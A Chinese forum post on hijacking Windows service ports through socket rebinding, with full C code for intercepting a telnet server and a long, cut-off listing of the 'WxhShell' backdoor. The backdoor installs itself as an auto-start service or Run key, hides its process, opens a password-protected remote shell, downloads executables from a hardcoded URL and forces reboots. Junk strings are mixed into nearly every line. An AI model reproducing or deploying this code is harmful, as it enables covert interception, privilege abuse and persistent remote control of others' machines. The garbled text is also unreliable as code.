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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ;AKwx|I$g  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 4sTMgBzw  
z) :ka"e  
  saddr.sin_family = AF_INET; j1/+\8Y  
Oukd_Ryf   
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); :$NsR*Cq*9  
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  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); eH %Ja[  
GWhE8EDT  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ?=<~^Lk  
JnY$fs*"  
  这意味着什么?意味着可以进行如下的攻击: FQ`(b3.   
}`9jH:q-Z  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ?ty>}.c t  
>z(wf>2J  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 'r\ 4}Ik  
1w`2Dt  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 OVZP x%a  
S#tY@h@XV  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  6ZcXS  
oe9lF*$/  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 &:<, c12  
1RLym9JN  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 `{[RjM`  
UbO4%YHt  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 5Tedo~v  
vwmBUix  
  #include !scD|ti  
  #include |#k@U6`SG  
  #include }Al YNEY  
  #include    onwjn+"&  
  DWORD WINAPI ClientThread(LPVOID lpParam);   l-<`m#/v  
  int main() Sm)u9  
  { V7EQ4Om:It  
  WORD wVersionRequested; TN\|fzj  
  DWORD ret; +y/55VLq  
  WSADATA wsaData; h$`#YNd'  
  BOOL val; nBkh:5E5%  
  SOCKADDR_IN saddr; O#)jr-vXdV  
  SOCKADDR_IN scaddr; 49AW6H.JT  
  int err; ^XG*z?Tt  
  SOCKET s; dxK9:IX  
  SOCKET sc; k=$AhT=e}n  
  int caddsize; 1yM r~Fo  
  HANDLE mt; 7VAJJv3  
  DWORD tid;   b5<okICD  
  wVersionRequested = MAKEWORD( 2, 2 ); 22&;jpL'?  
  err = WSAStartup( wVersionRequested, &wsaData ); lj4o#^lC  
  if ( err != 0 ) { py @( <  
  printf("error!WSAStartup failed!\n"); l(!/Q|Q|  
  return -1; E"6X|I n  
  } :Wc_Utt  
  saddr.sin_family = AF_INET; Qs%B'9")  
   B2Z_]q$n*  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 rOcg+5  
?2 f_aY ;  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Y%@hbUc}x9  
  saddr.sin_port = htons(23); eVJ^\z:4  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @}&_Dvf  
  { ml0*1Dw  
  printf("error!socket failed!\n"); Z.1> kZ  
  return -1; 6@V~0DG  
  } v7,$7@$:\  
  val = TRUE; 6~xBi(m`  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Ls}7VKl'   
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) l$XPIC~H  
  { XKS8K4"  
  printf("error!setsockopt failed!\n"); yCP4r6X0  
  return -1; /TV= $gB`  
  } Dvc&RG  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Dd,2;#_  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 5)UQWnd5  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 dg_Gs>?2  
> ' i  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) A6 !F@Ic[  
  { A&"%os  
  ret=GetLastError(); ^x m$EY*Y,  
  printf("error!bind failed!\n"); ?6"{!s{v  
  return -1; ~b)74M/  
  } /?*]lH.  
  listen(s,2); $n!K6fkX%  
  while(1) = a}b+(R  
  { G8J*Wnwu[K  
  caddsize = sizeof(scaddr); [0y$! f4  
  //接受连接请求 E\U`2{^.  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); />44]A<  
  if(sc!=INVALID_SOCKET) ,|h)bg7.  
  { 2VGg 6%  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ,r8Tbk]m  
  if(mt==NULL) \r {W  
  { Iz@)!3h  
  printf("Thread Creat Failed!\n"); ;j%BK(5  
  break; yN6>VD{F  
  }  Vzl^Ka'  
  } !.TLW  
  CloseHandle(mt); :O= \<t  
  } MTOy8 Im  
  closesocket(s); 1:M@&1L Yp  
  WSACleanup(); }4//@J?:  
  return 0; g(|{')8?d  
  }   AUe# RP  
  DWORD WINAPI ClientThread(LPVOID lpParam) ~1L:_Sg*  
  { OLC{iD#  
  SOCKET ss = (SOCKET)lpParam; 7.g [SBUOG  
  SOCKET sc; t2BL( yB  
  unsigned char buf[4096]; $?P22"/p  
  SOCKADDR_IN saddr; jE\Sm2G9  
  long num; _iV]_\0W2  
  DWORD val; `bjizS'^  
  DWORD ret; 0#cy=*E  
  //如果是隐藏端口应用的话,可以在此处加一些判断 S* *oA 6  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   / JkC+7H4  
  saddr.sin_family = AF_INET; qIMA6u/  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); %9oYw9 H!  
  saddr.sin_port = htons(23); O1'm@ q)  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 2lVHZ\G  
  { 36.N>G,  
  printf("error!socket failed!\n"); JW.=T)  
  return -1; 9f+>ix,ek*  
  } RsJ6OFcWV  
  val = 100; 'T<iHV&  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) }Gyqq6Aeb  
  { Bun> <Y @  
  ret = GetLastError(); 5L,}e<S$  
  return -1; ~m^ #FJu  
  } Xx:F)A8O  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \</b4iR)LT  
  { L;Z0`mdz  
  ret = GetLastError(); :Bu2,EL*O  
  return -1; L|@y&di  
  } <FI-zca  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ma'FRt  
  { '6y}ZE[  
  printf("error!socket connect failed!\n"); MY#   
  closesocket(sc); B=8Iu5m  
  closesocket(ss); UFAL1c<V  
  return -1; Xce0~\_ A  
  } >K9#3 4hP  
  while(1) mE%$HZ}  
  { _j?e~w&0b  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 29CINC  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 a ] =  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 jO*l3:!~\  
  num = recv(ss,buf,4096,0); %wcSM~w  
  if(num>0) :+Om]#`Vls  
  send(sc,buf,num,0); :0 & X^]\  
  else if(num==0) `K~AhlJUQ  
  break; r%:+$aIt  
  num = recv(sc,buf,4096,0); ABE@n%|`  
  if(num>0) ,to+oSZE  
  send(ss,buf,num,0); Tm_B^ W}  
  else if(num==0) b2b?hA'k  
  break; om?-WJI  
  } |sRipWh  
  closesocket(ss); Mi'8 ~J  
  closesocket(sc); m<FOu<y  
  return 0 ; 8#!i[UF dj  
  } 5%sE] Y#  
xk&Jl#v  
{:@tQdM:i8  
========================================================== w2_bd7Wp<  
;4N;D  
下边附上一个代码,,WXhSHELL >h0-;  
*HEuorl  
========================================================== >D201&*G%  
L|bwZ,M=}?  
#include "stdafx.h" /|6;Z}2  
g~(E>6Y  
#include <stdio.h> 3bnS W5  
#include <string.h> jReXyRmo({  
#include <windows.h> GFr|E8  
#include <winsock2.h> u#}[ZoI  
#include <winsvc.h> x#Sqn#  
#include <urlmon.h> 2^i(gaXUQ  
g1t0l%_7^  
#pragma comment (lib, "Ws2_32.lib") y WV#Up  
#pragma comment (lib, "urlmon.lib") AL>$HB$  
qOIW(D  
#define MAX_USER   100 // 最大客户端连接数 q.,JVGMS  
#define BUF_SOCK   200 // sock buffer 8 r_>t2$  
#define KEY_BUFF   255 // 输入 buffer Aq3}Ng  
"*G.EiLq  
#define REBOOT     0   // 重启 mZd , 9  
#define SHUTDOWN   1   // 关机 vWGwVH/K  
r@ZJ{4\Q  
#define DEF_PORT   5000 // 监听端口 u\eEh*<7q  
M|:UwqV>  
#define REG_LEN     16   // 注册表键长度 Yw#2uh  
#define SVC_LEN     80   // NT服务名长度 {nLjY|*  
Qxj JN^Q  
// 从dll定义API ,}K<*t[I  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); [jmd  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !.d@L6  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); O)vp~@ |  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); b0oMs=uBn  
-[-wkC8a  
// wxhshell配置信息 B(M6@1m_  
struct WSCFG { ..rOsg{  
  int ws_port;         // 监听端口 0jEL<TgC  
  char ws_passstr[REG_LEN]; // 口令 n=[/Z!  
  int ws_autoins;       // 安装标记, 1=yes 0=no Yk=PS[f  
  char ws_regname[REG_LEN]; // 注册表键名 KEWTBBg  
  char ws_svcname[REG_LEN]; // 服务名 >,td(= :  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 jy'13G/b\  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 z[Xd%mhjO  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 P#AW\d^"B  
int ws_downexe;       // 下载执行标记, 1=yes 0=no K'GBMnjD  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /~3r;M  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 T?X_c"{8M  
R=jI?p  
}; (DI>5.x"  
6'FdGS  
// default Wxhshell configuration Cg(Y&Gxf.  
struct WSCFG wscfg={DEF_PORT, X 7rMeu  
    "xuhuanlingzhe", >p"c>V& 8  
    1, U*) 8G  
    "Wxhshell", <u2}i<#  
    "Wxhshell", NU0g07"  
            "WxhShell Service", F]<Xv"  
    "Wrsky Windows CmdShell Service", o_~eg8  
    "Please Input Your Password: ", H- $)3"K  
  1, x9JD\vZ  
  "http://www.wrsky.com/wxhshell.exe", >D4# y  
  "Wxhshell.exe" =uS9JU^E  
    }; ;n 7/O5M|  
>Z5gSs0  
// 消息定义模块 :\|SQKD  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9E6_]8rl  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ,k;^G>< =  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [EKQR>s)  
char *msg_ws_ext="\n\rExit."; "yS _s  
char *msg_ws_end="\n\rQuit."; }"|K(hq  
char *msg_ws_boot="\n\rReboot..."; , 'u W*kx  
char *msg_ws_poff="\n\rShutdown..."; qw^uPs7Uw  
char *msg_ws_down="\n\rSave to "; adR)Uq9  
]iUx p+  
char *msg_ws_err="\n\rErr!"; h 5^Z2:#  
char *msg_ws_ok="\n\rOK!"; ,LnII  
OOo3G~2r  
char ExeFile[MAX_PATH]; k=jk`c{<[  
int nUser = 0; Eq j_m|@  
HANDLE handles[MAX_USER]; Ys\Wj%6A  
int OsIsNt; H*r)Z 90  
~GZY5HF  
SERVICE_STATUS       serviceStatus; ):[7E(F=  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; o{y9r{~A  
}F#okU  
// 函数声明 ,Pdf,2  
int Install(void); uo@n(>}EL  
int Uninstall(void); ?k(7 LX0j  
int DownloadFile(char *sURL, SOCKET wsh); ;;#qmGoE  
int Boot(int flag); r2,.abo  
void HideProc(void); N(Fp0  
int GetOsVer(void); Tu).K.p:  
int Wxhshell(SOCKET wsl); AHXSt  
void TalkWithClient(void *cs); q!|*oUW  
int CmdShell(SOCKET sock); ?j"KV_  
int StartFromService(void); mj W8 Q\D  
int StartWxhshell(LPSTR lpCmdLine); aWR}R>E  
(KDD e}f  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )p<ExMIxd  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~?K~L~f5  
0.8  2kl  
// 数据结构和表定义 }&w Ur>=  
SERVICE_TABLE_ENTRY DispatchTable[] = ^c9t'V`IWQ  
{ CEX " D`  
{wscfg.ws_svcname, NTServiceMain}, t.xxSU5~%  
{NULL, NULL} AP'*Nh@Ik(  
}; I|^;B 8[  
B><d9d  
// 自我安装 iKX-myCz  
int Install(void) ]&lY%"U$i  
{ _./Sk|C  
  char svExeFile[MAX_PATH]; 1;Ou7T9w  
  HKEY key; wea-zN  
  strcpy(svExeFile,ExeFile); b4[bL2J$h1  
H9YW  
// 如果是win9x系统,修改注册表设为自启动 Y^$X*U/q%U  
if(!OsIsNt) { Y 0d<~*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { t gI{`jS%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); TFlet"ge=  
  RegCloseKey(key); S[PE$tYT#t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {zQ8)$CQ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); L~lxXTG\  
  RegCloseKey(key); >\KNM@'KI  
  return 0; u{['<r;I  
    } RI(DXWM|h  
  } 9]f!'d!5  
} (k5We!4[1  
else { 0i!uUF  
D1zBsi94D  
// 如果是NT以上系统,安装为系统服务 p@xf^[50k  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _m5uDF?[  
if (schSCManager!=0) _Kl_61k  
{ Oo5w?+t  
  SC_HANDLE schService = CreateService `6~Aoe  
  ( J^SdH&%Z  
  schSCManager, a_f~N1kq  
  wscfg.ws_svcname, cW@Zd5&0S  
  wscfg.ws_svcdisp, +ElfZ4  
  SERVICE_ALL_ACCESS, hT`J1nNt  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , O}-jCW;K  
  SERVICE_AUTO_START, zzTfYf)  
  SERVICE_ERROR_NORMAL, e2s]{obf  
  svExeFile, u0|8Tgf  
  NULL, }wr{W:j  
  NULL, X' H[7 ^W  
  NULL, RJ  8+h  
  NULL, dCi?SIN  
  NULL $'BSH4~|.  
  ); Pg,b-W?n*  
  if (schService!=0) dJJP3} M/  
  { G_bG  
  CloseServiceHandle(schService); We$:&K0  
  CloseServiceHandle(schSCManager); E ~Sb  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,?8qpEG~#+  
  strcat(svExeFile,wscfg.ws_svcname); ORe(]I`Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7K,-01-:  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _x%7@ .TB  
  RegCloseKey(key); y{ibO}s  
  return 0; ^1iSn)&  
    } JEXy%hl  
  } l=S35og  
  CloseServiceHandle(schSCManager); e6@=wnoX u  
} r e/@D@%  
} #lmB AL~3  
k1w_[w [  
return 1; UQ)W%Y;[0  
} 4|buk]9  
>7lx=T x  
// 自我卸载 F U_jGwD  
int Uninstall(void) `q}I"iS  
{ [#-b8Cu  
  HKEY key; @L<*9sLWh  
7Ri46Tkt  
if(!OsIsNt) { v- T$:cL  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;X?}x%$  
  RegDeleteValue(key,wscfg.ws_regname); 1O/+8yw  
  RegCloseKey(key); _4"mAPt  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }Lc-7[/  
  RegDeleteValue(key,wscfg.ws_regname); nzd2zY>V  
  RegCloseKey(key); sF!($k;!  
  return 0; fd +hA  
  } UK595n;P  
} !\nBh  
} 6G1@smP  
else { v\KA'PmiP  
d"}k! 0m  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -G}[AkmS  
if (schSCManager!=0) cii_U=   
{ -~s!73pDY  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Rp.Sj{<2  
  if (schService!=0) zL$@`Eh-KP  
  { z.7cy@N6  
  if(DeleteService(schService)!=0) { f[<m<I  
  CloseServiceHandle(schService); B:5Rr}eY+  
  CloseServiceHandle(schSCManager); K-bD<X  
  return 0; *W.C7=  
  } >zw.GwN|  
  CloseServiceHandle(schService); q*U*Fu+  
  } $Z.7zH  
  CloseServiceHandle(schSCManager); f!\lg  
} `|6'9  
} WKC.$[ T=  
/(u}KMR!f  
return 1;  f\]sz?KY  
} "@%7-nu  
0H6(EzN  
// 从指定url下载文件 i!J8 d"  
int DownloadFile(char *sURL, SOCKET wsh) S=5<^o^h3  
{ OVm\  
  HRESULT hr; X &uTSgN  
char seps[]= "/"; AJh w  
char *token; 1n=lqn/  
char *file; &~8oQC-eF  
char myURL[MAX_PATH]; ( }{G`N>.{  
char myFILE[MAX_PATH]; uD\?(LM  
<v)1<*I  
strcpy(myURL,sURL); DK$X2B"cV  
  token=strtok(myURL,seps); JLnH&(O  
  while(token!=NULL) {K+i cTL3  
  { (KFCs^x7wG  
    file=token; C<NLE-  
  token=strtok(NULL,seps); iX0i2ek  
  } \]</w5 Pi,  
f$+,HB  
GetCurrentDirectory(MAX_PATH,myFILE); 9{RB{<Se!  
strcat(myFILE, "\\"); }p}[j t  
strcat(myFILE, file); }=%oX}[  
  send(wsh,myFILE,strlen(myFILE),0); Wr<j!>J6Ki  
send(wsh,"...",3,0); G/b^|;41  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); wG~`[>y (  
  if(hr==S_OK) 3vuivU.3  
return 0; p2ogn}`  
else LCZ\4g05  
return 1; &|Bc7+/P  
A#Iyb){Y  
} [BWNRC1  
W=j[V Oq  
// 系统电源模块 Cbg!:Cws  
int Boot(int flag) FKIw!m ~  
{ f-bVKHt  
  HANDLE hToken; h}*/Ge]aM  
  TOKEN_PRIVILEGES tkp; /j4P9y^]=  
".W8)  
  if(OsIsNt) { )k\H@Dy%$  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); +1uF !G&l  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); KV}FZ3jY  
    tkp.PrivilegeCount = 1; qs1 ?IYD  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 4A8;tU$&  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); G'oG< /A  
if(flag==REBOOT) { S0B|#O%Z  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4,sJE2"[9  
  return 0; 6hlc1?  
} >[9J?H  
else { 9{(.Il J>  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) d9B]fi}  
  return 0; 43|XSyS  
} 4[.oPK=i  
  } 4[;X{ !  
  else { F<L EQ7T  
if(flag==REBOOT) { brW :C? }  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) }j^i}^Du,  
  return 0; HW=C),*]cR  
} x,rlrxI  
else { Q~OxH'>>(  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Jbjmv: db  
  return 0; j <Bkj/  
} )we}6sE"  
} "/3 db[  
|_] Q$q[[%  
return 1; 8kU! 8^mH  
} C"!gZ8*\!9  
o9JMH.G  
// win9x进程隐藏模块 v*;-yG&  
void HideProc(void) ex::m&  
{ ]b\yg2  
q?4p)@#   
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -n=^U  
  if ( hKernel != NULL ) Ont%eC\  
  { `}(b2Hc>  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^5H >pat  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); <g1hxfKx5  
    FreeLibrary(hKernel); F ~^Jmp7Y  
  } `V`lo,"\  
luo   
return; '^No)n\`  
} O_ChxX0KP  
QWD'!)Zb  
// 获取操作系统版本 xD5:RE~g  
int GetOsVer(void) j/fzzI0@  
{ f|B=_p80  
  OSVERSIONINFO winfo; V8rx#H~  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); LS7, a|  
  GetVersionEx(&winfo); n\xX},  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) y0#u9t"Z;  
  return 1; oXb;w@:  
  else Fx;QU)1l3  
  return 0; )6q,>whI]  
} r[BVvX/,F  
l8I /0`_  
// 客户端句柄模块  swK-/$#  
int Wxhshell(SOCKET wsl) F({HP)9b  
{ Fh`~`eog  
  SOCKET wsh; KVT-P};jy*  
  struct sockaddr_in client; #~7ip\Uf[  
  DWORD myID; Bwa'`+bC  
KVn []@#  
  while(nUser<MAX_USER) *~t6(v?  
{ v.pBX<  
  int nSize=sizeof(client); *v9 2  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); d/BM&r  
  if(wsh==INVALID_SOCKET) return 1; LcUh;=r}&  
yf[~Yl>Ogw  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); CDP U\ZG  
if(handles[nUser]==0) { OXFN;2  
  closesocket(wsh); VFRi1\G  
else "JlpU-8[0@  
  nUser++; sE:M@`2L  
  } @JD;k>  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); QR%mj*@Wle  
2w["aVr =  
  return 0; $wo?!gt  
} }T&iewk  
~8GFQ ph  
// 关闭 socket XZ^^%*ew  
void CloseIt(SOCKET wsh) {ys=Ndo8  
{ {u#;?u=|  
closesocket(wsh); +kzo*zW$L  
nUser--; j@SQ~AS  
ExitThread(0); 555XCWyrC  
} -_1>C\h"  
8=NM|i  
// 客户端请求句柄 gj*+\3KO@a  
void TalkWithClient(void *cs) j!U-'zJ  
{ .P[ _<8  
Cj{1H([-  
  SOCKET wsh=(SOCKET)cs; }+C2I  
  char pwd[SVC_LEN]; 4lKq{X5<  
  char cmd[KEY_BUFF]; ?QFpv #4  
char chr[1]; wVEm:/;z&  
int i,j; AaWs}M  
ioYGZ%RG#  
  while (nUser < MAX_USER) { !bN*\c  
PE5R7)~A  
if(wscfg.ws_passstr) { +RyjF~  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); VXR>]HUF  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "#{4d),r  
  //ZeroMemory(pwd,KEY_BUFF); z^#;~I @M  
      i=0; (O.d>  
  while(i<SVC_LEN) { v7iuL6jl  
&e#~<Wm82  
  // 设置超时 Jl#%uU/sx  
  fd_set FdRead; vb<oi&X  
  struct timeval TimeOut; Y8-86 *zC  
  FD_ZERO(&FdRead); KG|n  
  FD_SET(wsh,&FdRead); LR".pH13  
  TimeOut.tv_sec=8; nV-mPyfL8  
  TimeOut.tv_usec=0; ^,/RO5  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .k%[4:Fe  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ?~hHGf\^b6  
Qo;zHZ'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Bq D'8zLD  
  pwd=chr[0]; Rb%8)t x  
  if(chr[0]==0xd || chr[0]==0xa) { auK?](U  
  pwd=0; 'VzP};  
  break; q|!-0B @  
  } e=B|==E10M  
  i++; 6L"%e!be6  
    } Z0Vl+  
Y]/% t{Y  
  // 如果是非法用户,关闭 socket , udTvI  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }bdmomV  
} W-?()dX{  
E5I"%9X0H  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ms*(9l.hOK  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I %sFqh>  
U%q7Ai7  
while(1) { = kJ,%\E`  
:h\Q;?  
  ZeroMemory(cmd,KEY_BUFF); E4|jOz^j4\  
]:Ns f|C0  
      // 自动支持客户端 telnet标准   gMWjk7  
  j=0; GO` Ru 8  
  while(j<KEY_BUFF) { bN]+_ mF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); PIu1+k.r?  
  cmd[j]=chr[0]; i rU 6D  
  if(chr[0]==0xa || chr[0]==0xd) { [RLN;(0n  
  cmd[j]=0; ow_W%I=6  
  break; {2=jAz'?  
  } A OISs4  
  j++; mH%yGBp_  
    } -likj# Z  
y\Ic@-aWI  
  // 下载文件 m1B+31'>^  
  if(strstr(cmd,"http://")) { b:l P%|7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); jL%x7?*U0  
  if(DownloadFile(cmd,wsh)) 8Kg n"M3  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); *h!28Ya(~  
  else r+":'/[x  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rH_\ d?b  
  } nqI@Y)  
  else { Cd,jDPrw  
FbS|~Rp~  
    switch(cmd[0]) { gW>uR3Ca4  
   gQ'zW  
  // 帮助 #_6I w`0  
  case '?': { Q=AavKn#  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :S<f?* }:  
    break; gl\\+VyU  
  } /?@3.3sl_  
  // 安装 i BF|&h(\  
  case 'i': { %?}33yV  
    if(Install()) i~I%D%;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2NC.Z;  
    else n>ULRgiT:o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WY?[,_4U  
    break; (.D~0a JU  
    } Si8pzd  
  // 卸载 l_o@miG/  
  case 'r': { }+.}J  
    if(Uninstall()) :~2vJzp@?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Al}6q{E9+8  
    else `UD/}j@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /|tJ6T1LrB  
    break; AK'[c+2[  
    } Fq |Ni$  
  // 显示 wxhshell 所在路径 B:'J `M"N  
  case 'p': { YC++& Nk  
    char svExeFile[MAX_PATH]; Y$Z x,  
    strcpy(svExeFile,"\n\r");  .E`\MtA  
      strcat(svExeFile,ExeFile); >/l? g5{  
        send(wsh,svExeFile,strlen(svExeFile),0); ZA0mz 65  
    break; vHyC;4'  
    } zHA!%>%'  
  // 重启 7HIeJ  
  case 'b': { vB.E3r=  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9s\A\$("l  
    if(Boot(REBOOT)) t;W0"ci9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \.MR""@y`{  
    else { `[f*Zv w  
    closesocket(wsh); 39:bzUIF  
    ExitThread(0); @.$|w>>T  
    } BXtCSfY $  
    break; 4Jp:x"w  
    } K"|l@Q[  
  // 关机 dP3CG8w5  
